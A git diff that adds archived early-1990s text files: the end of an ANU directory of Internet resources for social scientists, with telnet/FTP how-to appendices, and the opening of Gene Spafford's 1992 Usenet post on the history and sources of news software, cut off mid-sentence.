+RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 2/5 + Freshness of inf.: ?2/5 +GATEWAY FACILITIES: no +COMMENTS: + *Covers 1000 articles from US journals + *Covers inf. since late 1980s; new items kept being added + * Specialist collection on environmental matters + * Bibliographical data (located by title, authr, subject) only + LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Periodicals Contents Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: UNCOVER - Journal Article Access +ORGANISATION: Univ. of Hawaii +LOCATION: Honolulu, Hawaii, USA +TELNET ADDRESS: starmaster.uhcc.hawaii.edu +LOGIN PASSWORD: lib + upon login choose option #6 +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 5/5 + Quality/depth of inf.: 3/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: yes + link to: online catalogue of Univ of Hawaii Library + link to: Hawaian/Pacific UNCOVER journal articles data base + link to: Hawaii Data Book (1991) data base +COMMENTS: + *Covers over 2 million articles in 10,000 journals. + *Article contents delivery service (via fax) can be + paidfor with a credit card. +LAST ACCESSED: Apr 1992 +-------------------------------------------------------------------------------- +SERVICE: Periodicals Contents Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: Wilson Periodical Database +ORGANISATION: Texas A&M University +LOCATION: Texas, USA +TELNET ADDRESS: venus.tamu.edu +LOGIN PASSWORD: vtam + upon login choose option NOTIS + then select any of the 3 library collections + then type WILSON +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 5/5 + Quality/depth of inf.: 3/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: yes + link to: online catalogues of Texas A&M University Library +COMMENTS: + *Covers articles printed until Dec 1991 + * Very strong on humanities and social sciences + * User friendly + LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Soviet and East European Studies Data Library +ACCESS: via INTERNET (also accessible via ftp) +CHARGES: Internet $15/hour, CompuServe $25/hr (non-profit), $40/hr (corporate) +NAME: SOVSET +ORGANISATION: Center for Strategic & International Studies (CSIS) +LOCATION: Washinton, D.C., USA +TELNET ADDRESS: sovset.org (registered users only) +LOGIN NAME: - as agreed with the SOVSET administrators - +LOGIN PASSWORD: - as agreed with the SOVSET administrators- +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 4/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: no +COMMENTS: + Established 1984, now links more than 500 leading specialists around the world, + offers 32 computer conferences, a wide variety of holdings including many materials + not available elsewhere: + * Daily Reports of Radio Free Euroope and Radio Liberty + * Express Khronika (in English) + * SOVSET News - an electronic journal + * Commentary - an electronic column of commentaries on Soviet Politics + * PlanEcon Report - weekly summaries on the latest Sov. & East Eur. economies + * Eastern Europe Newsletter - highlights from a London biweekly publication + * Perspective - reports on foreign policy and business published by + Center fo Foreign Policy development at Brown University. + * Phonebook - a phone and address direct. for Moscow and elsewhere + * e-mail enquiries to SUPPORT@sovset.org + * correspondence to: Sarah C. Helmstadter, Executive Director, SOVSET, + CSIS, 1800 K St. NW, Suite 400, Washington, DC USA 20006, + Tel. (202) 775-3257, Fax (202) 775-3199 + LAST ACCESSED: Mar 1992 +-------------------------------------------------------------------------------- +SERVICE: University of Maryland Info. Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: +ORGANISATION: University of Maryland +LOCATION: USA +TELNET ADDRESS: info.umd.edu +LOGIN PASSWORD: info +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 3/5 + Quality/depth of inf.: 3/5 + Freshness of inf.: ?4/5 +GATEWAY FACILITIES: no + COMMENTS: + * very convenient screen & menu oriented interface + * contains EconData:several hundred thousand economic time series that + include various US national accounts, labor information, price indices, current + business indicators and industrial production, information over Maryland state + and regions, and intern'l data. + * also contains: ethnomusicology newsletters; text of the US Constitution; text + of the Bible, Koran and the Book of Mormon; 1990 CIA World FactBook + * all inf. is also available via anonymous FTP (see entry on Archives above) + LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: US Pacific Territories Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: Trust Territory of Pacific Database +ORGANISATION: Univ. of Hawaii +LOCATION: Honolulu, Hawaii, USA +TELNET ADDRESS: starmaster.uhcc.hawaii.edu +LOGIN PASSWORD: lib + upon login choose option #3 THEN choose option #36 +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 3/5 + Quality/depth of inf.: 3/5 + Freshness of inf.: ?/5 +GATEWAY FACILITIES: yes + link to: online catalogue of Univ of Hawaii Library + link to: UNCOVER journal articles data base + link to: Hawaian/Pacific UNCOVER journal articles data base + link to: Hawaii Data Book (1991) data base +COMMENTS: + *catalogue of archival materials on Micronesian US + Trust Territory +LAST ACCESSED: Dec 1991 +-------------------------------------------------------------------------------- +SERVICE: WAIS Servers Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: directory-of-servers +ORGANISATION: TMC +LOCATION: USA +TELNET ADDRESS: n/a, access via a public domain WAIStation software +LOGIN PASSWORD: not needed +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 3/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: 4/5 +GATEWAY FACILITIES: n/a +COMMENTS: + * very fast data base with inf. about aprox 200+ WAIS servers (databases) + *The directory-of-servers serves source source structures.Search it to + find new sources which you can then download, save, and search from WAIStation! + * currently awailable only to Macintosh users + * the number of sources (servers) grows approx 2-3/week + * Limitation:single query generates no more than 45 items of information + * Servers uncovered via the directory-of-servers are searcheable through + keywords and they provide user with the a full-text document in which given + keyword is embeded. +LAST ACCESSED: Apr 1992 +-------------------------------------------------------------------------------- +SERVICE: World Economics Data Base +++ new entry +ACCESS: via INTERNET +CHARGES: none - NOTE: access restricted to the staff and students of the ANU +NAME: STARS - Statistical Analysis and Retrieval System +ORGANISATION: Australian National University +LOCATION: Canberra, Australia +TELNET ADDRESS: iedbserver (for logins within the ANU network) +LOGIN PASSWORD: [available from the ANU CSC Help desk (ext 5678) on application] +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 2/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: ?4/5 +GATEWAY FACILITIES: no + COMMENTS: + * contains IMF data, GFS data on intl statistics of govt finance since 1970 + * contains IMF data, IFS data on intl and domestic finance (147 countries) + * contains IMF data, BOP data on balance of payment (141 countries) + * contains World Bank World Tables for + 1950, 55, 1960-1989 for approx 160 countries and aggregates + * contains UNIDO Industrial Statistics (approx 85 countries) since 1961 + * contains UN International Trade data (approx 10 countries) since 1965 + * contains FAO Data (approx 20 countries) about 900 commodities since 1961 + * The inf. is also available from the data base via FTP (password required) + LAST ACCESSED: Apr 1992 +-------------------------------------------------------------------------------- +SERVICE: World Factbook Data Base +ACCESS: via INTERNET +CHARGES: none +NAME: Rutgers University Info. System +ORGANISATION: Rutgers University +LOCATION: USA +TELNET ADDRESS: info.rutgers.edu +LOGIN PASSWORD: not needed + upon login choose option REFERENCE +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 3/5 + Freshness of inf.: 4/5 +GATEWAY FACILITIES: yes + link to: 1991 Oxford Dictionary + link to: Oxford Thesaurus + link to: Oxford Dictionary of Familiar and Modern Quotations +COMMENTS: + + *very fast data base with inf. about 249 individual countries + *material comes from the 1990 CIA Worldfactbook + which is also available elsewhere as a WAIS database and etext document + (see the Archives section of this document) + * Big chunks of inf. pre-date Apr 1990 + * for WAIS servers with the Factbook see the entry on WAIS servers database +LAST ACCESSED: Apr 1992 +================================================================================ +LIBRARY CATALOGUES +================================================================================ +SERVICE: Online Library Catalogues +ACCESS: via INTERNET +CHARGES: none +NAME: +ORGANISATION: 300+ universities and colleges +LOCATION: Australia, NZ, USA, UK, Sweden, Germany +TELNET ADDRESS: currentdirectory of telnet addresses, LIBRARIES.TXT, + is available via anonymous ftp from: + * vaxb.acs.unt.edu [North American users] - Jan 92 edition + * nic.swich.ch [European users] -Jan 92 edition + (in database/library/UNT-library-guide area) + * coombs.anu.edu.au [Australian & NZ users] -Jan 92 edition + (in coombspapers/foreign/soc-science-tools area) +LOGIN PASSWORD: passwords are listed in the LIBRARIES.TXT document. +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 5/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: in some cases: (eg. Univ of Hawaii) +COMMENTS: + * the list of on-line library catalogues accessible via + the INTERNET grows approx by 2-3 sites/week + * for WAIS servers with the Library information see the entry + on WAIS servers database +LAST ACCESSED: Feb 1992 +-------------------------------------------------------------------------------- +SERVICE: Online Library Catalogues +ACCESS: via INTERNET +CHARGES: YES - see comments below +NAME: Australian Bibliographical Network +ORGANISATION: National Library of Australia +LOCATION: Canberra, Australia +TELNET ADDRESS: abn.nla.gov.au +LOGIN PASSWORD: You have to have a username, password and an account code + to access the catalogue, and you will be billed for usage + by ABN. Your local library typically has such an access + code. +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 5/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: ? +COMMENTS: + + * The ABN spans 1100 libraries all over Australia. + * The Australian Bibliographic Network is a commercial + service which provides a database which can be used to + (A) Check bibliographic citations; (B) Find Australian + Publications for material; (C) Generate catalogue records + + * Individuals can get an account with the National + Library as a 'Search only" customer. They can use the + Supersearch software to locate items. Training is needed + to use this software. The 1991-92 ABN Charging schedule + does not mention AARNet access so it can be assumed that + the dial up access charges apply. + + * The costs (in 1992) are roughly as follows - + Joining fee $150 + Monthly service charge$9 per month + Connect time (supersearch) $45 per hour + Inquiry commands $0.29 per chargeable command + + * Further details are obtainable from the ABN helpdesk + intl. +61 6 2621531;email access??? +LAST ACCESSED: not accessed by this compiler +-------------------------------------------------------------------------------- +SERVICE: Online Periodicals Library Catalogues +ACCESS: via INTERNET +CHARGES: none +COMMENTS: + *see UNCOVER & WILSON Periodicals Contents Data Base entries + in the Data Base section of this guide + * for WAIS servers with the Periodicals information see the entry + on WAIS servers database +LAST ACCESSED: Feb 1992 +================================================================================ +PERIODICALS +================================================================================ +SERVICE: Electronic Journal/Newsletter +ACCESS: via INTERNET +CHARGES: none +NAME: REACH - Research & Educ. Appl of Computers in Humanities +ORGANISATION: Univ. of California +LOCATION: St. Barbara, USA +ANONYMOUS FTP ADDRESS: + * ucsbuxa.ucsb.edu [North American users] + * coombs.anu.edu.au [Australian & NZ users] +SUB-DIRECTORY: + * hcf [North American users] + * coombspapers/otherwork [Australian & NZ users] +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 5/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 5/5 +COMMENTS: + *Between 6 and 4 issues a year, text format. + *Users are invited to contribute articles to the + Journal. +LAST ACCESSED: Apr 1992 +-------------------------------------------------------------------------------- +SERVICE: Electronic Journal/Newsletter +ACCESS: via INTERNET +CHARGES: none +NAME: MeckJournal (ISSN 1058-692X) +ORGANISATION: Meckler Publishing Corporation +LOCATION: Westport, CT, USA +TELNET ADDRESS: nicol.jvnc.net +LOGIN PASSWORD: nicol +SUB-DIRECTORY: MC(2): Electronic Publication Service +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 1/5 + Quality/depth of inf.: 4/5 + Freshness of inf.: 5/5 +COMMENTS: + *On-line publications dealing with virtual libraries, network services, + information broking, knowledge navigation, resources-sharing. + *MeckJournals (electronic monthly publication) as of Mar 92: + MeckJournal Volume I, Issue 1 + MeckJournal Volume I, Issue 2 + MeckJournal Volume I, Issue 3 + MeckJournal Volume II, Issue 1 (Jan. 1992) + MeckJournal Volume II, Issue 2 + (these issues are also available via anonymous ftp from "ftp.jvnc.net" + in the nicol/meckler subdirectory) + *Also available on-line: + Meckler Info. Tech. Pub.: Complete Catalog & order form + Table of Contents: Meckler Periodicals + CD-ROM Librarian Index: 1986 - 1990 + Computers in Libraries Index: 1985 - 1990 +LAST ACCESSED: Mar 1992 +-------------------------------------------------------------------------------- +SERVICE: Electronic Journal/Newsletter +++ new entry +ACCESS: via INTERNET +CHARGES: none +NAME: _EJournal_ +ORGANISATION: Department of English, University at Albany/SUNY +LOCATION: Albany, NY, USA +TELNET ADDRESS: + To subscribe to _EJournal_, send a mail message to listserv@albnyvm1.bitnet + containing as its only line the command: + + subscribe ejrnl your_first_name your_last_name + + Information about getting back issues will accompany the "Welcome" + message sent to people who subscribe. +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: ?/5 + Quality/depth of inf.: ?/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: no +COMMENTS: + * a peer-reviewed, all-electronic, network distributed, serial publication + * focus on theory and practice surrounding the creation, transmission, storage, + interpretation, alteration and replication of electronic "text," broadly defined. + * focus on the social, psychological, literary, economic, pedagogical, philosophical + and other ramifications of computer-mediated networks. + * Single-essay issues appear as often as submissions are affirmatively + reviewed; there were four (free) distributions to subscribers in 1991. + * Please send submissions for editorial consideration to our "office" at: + ejournal@albnyvms.bitnet + [Ted Jennings, Editor, Department of English, University at Albany/SUNY] +LAST ACCESSED: not accessed (yet) by the compiler of this document +-------------------------------------------------------------------------------- +SERVICE: Electronic Journal/Newsletter +ACCESS: via INTERNET (accessible via telnet and ftp) +CHARGES: Internet $15/hour, CompuServe $25/hr (non-profit), $40/hr (corporate) +NAME: SOVSET News +ORGANISATION: Center for Strategic & International Studies (CSIS) +LOCATION: Washinton, D.C., USA +TELNET/FTP ADDRESS: sovset.org (registered users only) +LOGIN NAME: - as agreed with the SOVSET administrators - +LOGIN PASSWORD: - as agreed with the SOVSET administrators- +RELEVANCE TO SOC. SCIENCES (at the time of the latest access to this service) + Range/variety of inf.: 4/5 + Quality/depth of inf.: 5/5 + Freshness of inf.: 5/5 +GATEWAY FACILITIES: no +COMMENTS: + for details see entries in the archives and/or databases sections above + * e-mail enquiries to SUPPORT@sovset.org + * correspondence to: Sarah C. Helmstadter, Executive Director, SOVSET, + CSIS, 1800 K St. NW, Suite 400, Washington, DC USA 20006, + Tel. (202) 775-3257, Fax (202) 775-3199 + LAST ACCESSED: Mar 1992 +================================================================================ +Appendix A: TELNET procedures +================================================================================ +TELNET is a communications programme for interactive linking of two computers on the same network + +To establish interactive connection with a given computer via TELNET type command 'telnet' + followed by the target computer's address: + + telnet eg. telnet library.anu.edu.au + + If you attempt to log-in into a private account you will be then asked about its id number + and an appropriate password. If you log-in into a public account you may be sometimes asked + to supply the public user password + (eg. in the case of the above adddress:library.anu.edu.au the public password is 'library') + +To return to your machine while running TELNET software type command ' ctrl-] ' (i.e. control-right + square bracket) +To quit running TELNET program type command 'quit' +================================================================================ +Appendix B: Anonymous FTP procedures +================================================================================ +To download any of files via anonymous FTP, you must have access to the FTP + program running on a computer at your location. FTP is a program running +on UNIX machines over the Internet meta-network. It is similar to TELNET +programme but more restricted in scope. + +1. Begin by connecting yourself to a computer of your choice. This is done by +typing command FTP followed by target computer's address: + + ftp eg. ftp coombs.anu.edu.au + +2. When asked, you log on to the visited computer using word "anonymous" as +your name and your e-mail address as your password. + +3. To determine where you areuse the "ls" command to see a list of names of +all filesand sub-directories in a given directory. Command "lsminus l" + eg. ls -l gives a +listing of all files and directories together with their dates of creation and +their sizes. A character "d" in the first column indicates a sub-directory. + +4. You can change to the directory containing required files by typing the +following command: + + cd eg cd pub +(Repeat this procedure until you have reached required sub-directory. +Command "cd" takes you, of course one step at a time down a directory. To +move one level up on the directory tree [i.e. to re-trace one's path] use +command "cd" followed by a blank space and two full stops : cd .. ) + +5. Use the "get" command to copy the file which you want to your computer. +If you don't remember the name of the file, use the "ls" command to see a list +of the names of all files in a given directory. + + get (filename) e.g. get pambu.txt + +6. To deposit (= upload) a file at a given anonymous ftp site locate find(using "cd" +command) a subdirectory namedor "inbound" or "inboundpapers" or other +similarly named area. Enter it and then issue command "put" followed by the +name of a file you want to transfer: + put (fillename) e.g put africa.txt + +7. To sign off by type the closing command: + + bye + +6. Upon closing connection to a given ftp server you can start un-compressing (if necessary) +and inspecting the transferred file(s). +================================================================================ +Appendix C: Using ARCHIE databases +================================================================================ +ARCHIE is a world-wide data-base with information about over 2 million files kept by 1000+ +anonymous FTP sites. There are several Archie sites in the world, each mirroring the +contents of its siblings (for details see the entry on the ARCHIE data-base) + +To establish interactive connection with a given ARCHIE site (always try one which is +nearest to you on the network) type command 'telnet' followed by the target computer's +address: + + telnet eg. telnet archie.au + + Then as a log-in password provide the word 'archie' + +To set display on your screen to one (1) page at a time - type command 'set pager' + +To find information on a given topic, eg. environment type command 'prog' followed by the keyword + in question: + prog eg. prog environment + + As an outcome of this operation you will receive a list of all names of computer files, + together with anonymous ftp addresses of their host computers. This information will + enable to visit (via ftp procedure) any site of your interest and get a copy of a desired + file. + +To find information on a given ftp site, say an ftp archive in UK called 'src.doc.ic.ac.uk', +type command 'site' followed by the keyword in question: + site eg. site src.doc.ic.ac.uk + +To find more about ARCHIE's abilities - type command 'help' + +To quit running ARCHIE program and thus to return to your machine - type command 'bye' +================================================================================ +SOME USEFUL REFERENCES +================================================================================ +Bailey, Charls W. Jr (BITNET email:LIB3@UHUPVM1) 1991. LIBRARY ORIENTED COMPUTER CONFERENCES + ANDELECTRONIC SERIALS. (A list of select BITNET and INTERNET listservs and sources of inf. + abour electronic serials. Available via anonymous FTP from ??) +Barron, Billy (billy@vaxb.acs.unt.edu). 1990. INTERNET DATABASES. (A May 90 list of some the + US on-line facilities. Available via anonymous FTP from vaxb.acs.unt.edu as + library/internet.databases) +Barron, Billy (billy@vaxb.acs.unt.edu). 1992. UNT's ACCESSING ON-LINE BIBLIOGRAPHIC DATABASES. + (A Jan 92 list of the300+ world's on-line library catalogues. Available via anonymous FTP + from vaxb.acs.unt.edu as library/libraries.txt) +Cliffe, Steve (steve@cs.uow.edu.au). 1991. AUSTRALIAN ARCHIVE SITES. (A Dec 1991 listing + of anonymous FTP sites in Australia, published every month via newsgroup, + also FTP-able from ftp.cs.uow.edu as pub/aus-archive-site) +Goldstein, Cecil and Ron Heard. 1991. Getting the most out of AARNet- Unix version. Computing Services, + QUT. (text version of the document are FTP-able from aarnet.edu.au as + user-guide/aarnet_user_guide_unix_v1.txt; wp and ps files are also available) +Kehoe, Brendan P. (brendan@cs.widener.edu). 1992. ZEN AND THE ART OF THE INTERNET - a beginner's guide + to the Internet. (A Feb 1992 100 pages highly informative booklet. Available via anonymous FTP + from ashley.cs.widener.edu as/pub/brendan/zen-1.0.PS) +Krol, Ed (krol@uxc.cso.uiuc.edu). 1987. THE HITCHHIKERS GUIDE TO THE INTERNET. (An Aug 87 overview + of the meta-network and it's services. RFC 1118. Available via anonymous FTP from tamu.edu as + pub/documents/hgi.txt.Z) +Martin, Jerry (jmartin@magnus.acs.ohio-state.edu). 1991. NETWORK TREASURES - There's Gold + in them thar Networks ! or Searching for Treasure in all the Wrong Places. (A Dec 91 memo + with pointers to Internet services. Available via anonymous FTP from nic.near.net as + /info-sources/network-treasures.txt) +NSF Network Service Center (nnsc@nnsc.nsf.net). 1990. THE INTERNET RESOURCES GUIDE. (A May 90 + massive catalogue compiled for the BBN Systems and Technologies Co. The current edition is + Available via anonymous FTP from nnsc.nsf.net as /resource-guide/wholeguide.txt. Also + available as an online database accessible via the CARL Bulletin Board) +Yanoff, Scott (yanoff@csd4.csd.uwm.edu). 1992. SPECIAL INTERNET CONNECTIONS. (A Apr 92 listing + of Internet services, published every month via newsgroup) +================================================================================ +COPYRIGHT & DISCLAIMER NOTICES +================================================================================ +Copying is permitted for non-commercial use by computer conferences, +individual scholars, and libraries, as long as a standard bibliographic +reference to this document is provided. + +The compiler will not accept responsibility for misinformation, +nor will he be responsible for misuse of information abtained from +sources mentioned in this document. + +Additions, corrections and deletions should be sent to: +tmciolek@coombs.anu.edu.au. +================================================================================ +end of file + +==== 9 links in glossary topic +==== 8 links in glossary topic diff --git a/textfiles.com/internet/softhis.txt b/textfiles.com/internet/softhis.txt new file mode 100644 index 00000000..14166934 --- /dev/null +++ b/textfiles.com/internet/softhis.txt @@ -0,0 +1,390 @@ +From pit-manager.MIT.EDU!daemon Sun Apr 12 18:36:23 1992 remote from piraya +Received: by piraya.bad.se (1.64/waf) + via UUCP; Wed, 15 Apr 92 21:16:43 GMT + for bozze +Received: from PIT-MANAGER.MIT.EDU by mail.swip.net (5.61+IDA/KTH/LTH/1.2) + id AAmail14779; Sun, 12 Apr 92 18:36:23 +0200 +Received: by pit-manager.MIT.EDU (5.61/2.1JIK) + id ; Sun, 12 Apr 92 12:36:05 -0400 +Date: Sun, 12 Apr 92 12:36:05 -0400 +From: Mr Background +Message-Id: <9204121636.AA06358@pit-manager.MIT.EDU> +Subject: Reply from mserv re: send usenet/news.admin/USENET_Software:_History_and_Sources +Reply-To: mail-server@pit-manager.mit.edu +X-Problems-To: postmaster@pit-manager.mit.edu +Precedence: bulk +To: bozze@piraya.bad.se (Bo Arnoldson) + +Xref: bloom-picayune.mit.edu news.admin:20441 news.announce.newusers:775 news.software.readers:1319 news.software.b:10805 news.answers:603 +Path: bloom-picayune.mit.edu!snorkelwacker.mit.edu!usc!zaphod.mps.ohio-state.edu!sample.eng.ohio-state.edu!purdue!spaf +From: spaf@cs.purdue.EDU (Gene Spafford) +Newsgroups: news.admin,news.announce.newusers,news.software.readers,news.software.b,news.answers +Subject: USENET Software: History and Sources +Message-ID: +Date: 24 Feb 92 06:10:25 GMT +Expires: 24 Apr 92 18:10:22 GMT +Followup-To: news.admin +Organization: Dept. of Computer Sciences, Purdue Univ. +Lines: 359 +Approved: spaf@cs.purdue.EDU +Supersedes: + +Archive-name: usenet-software/part1 +Original from: spaf@purdue (Gene Spafford) +Last-change: 20 Feb 92 by spaf@cs.purdue.edu (Gene Spafford) + + +Currently, Usenet readers interact with the news using a number of +software packages and programs. This article mentions the important +ones and a little of their history, gives pointers where you can look +for more information and ends with some special notes about "foreign" +and "obsolete" software. At the very end is a list of sites from which +current versions of the Usenet software may be obtained. + +Note that the number of software packages available to run news, +especially on PCs, is increasing. This article lists only a few of +the many news packages available, and the presence or absence of any +particular software package should not be construed as indicating +anything about its suitability usefulness. + +History +------- +Usenet came into being in late 1979, shortly after the release of V7 +Unix with UUCP. Two Duke University grad students in North Carolina, +Tom Truscott and Jim Ellis, thought of hooking computers together to +exchange information with the Unix community. Steve Bellovin, a grad +student at the University of North Carolina, put together the first +version of the news software using shell scripts and installed it on +the first two sites: "unc" and "duke." At the beginning of 1980 the +network consisted of those two sites and "phs" (another machine at +Duke), and was described at the January Usenix conference. Steve +Bellovin later rewrote the scripts into C programs, but they were never +released beyond "unc" and "duke." Shortly thereafter, Steve Daniel did +another implementation in C for public distribution. Tom Truscott made +further modifications, and this became the "A" news release. + +In 1981 at U. C. Berkeley, grad student Mark Horton and high school +student Matt Glickman rewrote the news software to add functionality +and to cope with the ever increasing volume of news -- "A" News was +intended for only a few articles per group per day. This rewrite was +the "B" News version. The first public release was version 2.1 in +1982; the 1.* versions were all beta test. As the net grew, the news +software was expanded and modified. The last version maintained and +released primarily by Mark was 2.10.1. + +Rick Adams, at the Center for Seismic Studies, took over coordination +of the maintenance and enhancement of the B News software with the +2.10.2 release in 1984. By this time, the increasing volume of news +was becoming a concern, and the mechanism for moderated groups was +added to the software at 2.10.2. Moderated groups were inspired by +ARPA mailing lists and experience with other bulletin board systems. +In late 1986, version 2.11 of B News was released, including a number +of changes to support a new naming structure for newsgroups, enhanced +batching and compression, enhanced ihave/sendme control messages, and +other features. + +The current release of B News is 2.11, patchlevel 19. Article format +is specified in RFC 1036 (see below). B News has been declared "dead" +by a number of people, and is unlikely to be upgraded further; most +new sites are using C News (see next paragraph). + +A new version of news, known as C News, was developed at the +University of Toronto by Geoff Collyer and Henry Spencer. This +version is a rewrite of the lowest levels of news to increase article +processing speed, decrease article expiration processing and improve +the reliability of the news system through better locking, etc. The +package was released to the net in the autumn of 1987. For more +information, see the paper "News Need Not Be Slow," published in The +Winter 1987 Usenix Technical Conference proceedings. The current +version of C News is labeled 27-Aug-1991. C News can be obtained from +its official archive site, cs.toronto.edu, using FTP. + +ANU-NEWS is news package written by Geoff Huston of Australia for VMS +systems. ANU-NEWS is complete news system that allows reading, +posting, direct replies, moderated newsgroups, etc. in a fashion +closely related to regular news. The implementation includes the RFC +1036 news propagation algorithms and integrated use of the NNTP +protocols (see below) to support remote news servers, implemented as a +VAX/VMS Decnet object. An RFC 977 server implemented as a Decnet +object is also included. The ANU-NEWS interface is similar to +standard DEC screen oriented systems. The license for the software is +free, and there are no restrictions on the re-distribution. For more +info, contact gih900@fac.anu.oz.au (Geoff Huston). ANU-NEWS is +available for FTP from kuhub.cc.ukans.edu. Contact +SLOANE@KUHUB.CC.UKANS.EDU for more info. + +A screen-oriented NEWS client for VMS is also available via ftp from +ftpvms.ira.uka.de (contact Bernd Onasch for +details). + +A port of C News for the Commodore Amiga under AmigaDOS (NOT Unix), is +available. The port was done by Frank J. Edwards , +and available from Larry Rosenman . Also, +Matt Dillon , has greatly improved the +UUCP clone for AmigaDOS, currently V1.15D, available for ftp from +ftp.uu.net in /systems/amiga/dillon. The package also includes a +newsreader very loosely like the real rn. Dillon also has a "vn" port +provided by Eric Lee Green. This software is also available on Bix, +and for ftp from ab20.larc.nasa.gov. + +Several popular screen-oriented news reading interfaces have been +developed in the last few years to replace the traditional "readnews" +interface. The first of these was "vnews" and it was written by +Kenneth Almquist. "vnews" provides a "readnews"-like command +interface, but displays articles using direct screen positioning. It +appears to have been inspired, to some extent, by the "notes" system +(described below). "vnews" is currently distributed with the standard +2.11 news source. + +A second, more versatile interface, "rn", was developed by Larry Wall +(the author of Perl) and released in 1984. This interface also uses +full-screen display with direct positioning, but it includes many +other useful features and is very popular with many regular net +readers. The interface includes reading, discarding, and/or +processing of articles based on user-definable patterns, and the +ability of the user to develop customized macros for display and +keyboard interaction. "rn" is currently at release 4.4. It is being +maintained by Stan Barber of the Baylor College of Medicine. "rn" is +not provided with the standard news software release, but is very +widely available because of its popularity. The software can be +obtained from its official archive site, lib.tmc.edu, using FTP, and +via mail from archive-server@bcm.tmc.edu + +A variant of "rn" is "trn" by Wayne Davison. Trn adds the ability to +follow "threads of discussions" in newsgroups; its latest version 2.2 +is based on rn 4.4. It uses a Reference-line database to allow the +user to take advantage of the "discussion tree" formed by an article +and its replies. This results in a true reply-ordered reading of the +articles, complete with a small ascii representation of the current +article's position in the discussion tree. Trn can be obtained from +caesar.cs.montana.edu in the /pub/trn directory, from uunet in the +news subdirectory, and from many other archive servers world-wide. + +xrn is an X11-based interface to NNTP that was written by Rick +Spickelmier and Ellen Sentovich (UC Berkeley). The current version is +6.17. xrn supports many features, including sorting by subject, +user-settable key bindings, graceful handling of NNTP server crashes, +and many of the features of rn (including KILL files and key bindings +similar to rn). xrn is actively supported by the authors with bug +fixing and feature addition support from many of the users. xrn can +be retrieved from most of the popular FTP sites (gatekeeper.dec.com, +ftp.uu.net, export.lcs.mit.edu). + +There are two popular macro packages named "GNUS" and "Gnews" that can +be used with the GNU Emacs text editor. These allow reading, +replying, and posting interaction with the news from inside the Emacs +text editor. Client code exists to get the articles using NNTP rather +than from a local disk. Copies can be found on most archive sites +that carry the GNU archives. + +"nn" is yet another reader interface, developed by Kim F. Storm of +Texas Instruments A/S, Denmark, and released in 1989. nn differs from +the traditional readnews and vnews by presenting a menu of article +subject and sender-name lines, allowing you to preselect articles to +read. nn is also a very fast newsreader, as it keeps a database of +article headers on-line. (I.e. it trades space for time. A good rule +of thumb is that the nn database size is 5%-10% of your news spool. +So up to 110% of your news spool is the amount of space news and the +nn database will take.) The current version of nn is 6.4.16. nn can +be obtained via anonymous FTP from dkuug.dk, uop.uop.edu, +mthvax.cs.miami.edu or various other sites; European sites should +request the sources from their nearest backbone site. + +yet another newsreader is the "tin" reader. It operates with threads, +has different article organization methods, and is full-screen +oriented. It has been posted to alt.sources, and further information +is available from becker@med-in.uni-sb.de (Dieter Becker). + +"notes" is a software package popular at some sites. It uses a +different internal organization of articles, and a different +interchange format than that of the standard Usenet software. It was +inspired by the notesfiles available in the PLATO system and was +developed independently from the Usenet news. Eventually, the "notes" +network and Usenet were joined via gateways doing (sometimes +imperfect) protocol translation. The interface for "notes" is similar +to "rn" but implements different features, many of which are dictated +by its internal organization. "notes" was written in 1980-1981 by Ray +Essick and Rob Kolstad, (then) grad students at the University of +Illinois at Urbana-Champaign. The first public release of "notes" was +at the January 1982 Usenix conference. The current release of notes +is version 1.7. + +In March 1986 a package was released implementing news transmission, +posting, and reading using the Network News Transfer Protocol (NNTP) +(as specified in RFC 977). This protocol allows hosts to exchange +articles via TCP/IP connections rather than using the traditional +uucp. It also permits users to read and post news (using a modified +version of "rn" or other user agents) from machines which cannot or +choose not to install the USENET news software. Reading and posting +are done using TCP/IP messages to a server host which does run the +USENET software. Sites which have many workstations like the Sun and +Apollo products find this a convenient way to allow workstation users +to read news without having to store articles on each system. Many of +the Usenet hosts that are also on the Internet exchange news articles +using NNTP because the load impact of NNTP is much lower than uucp +(and NNTP ensures much faster propagation). + +NNTP grew out of independent work in 1984-1985 by Brian Kantor at U. +C. San Diego and Phil Lapsley at U. C. Berkeley. It is now in +release 1.5.11 dated 11 february 1991, with the next planned release +at 1.6. NNTP includes support for System V UNIX with Excelan Ethernet +cards and DECNET under Ultrix. NNTP was developed at U. C. Berkeley +by Phil 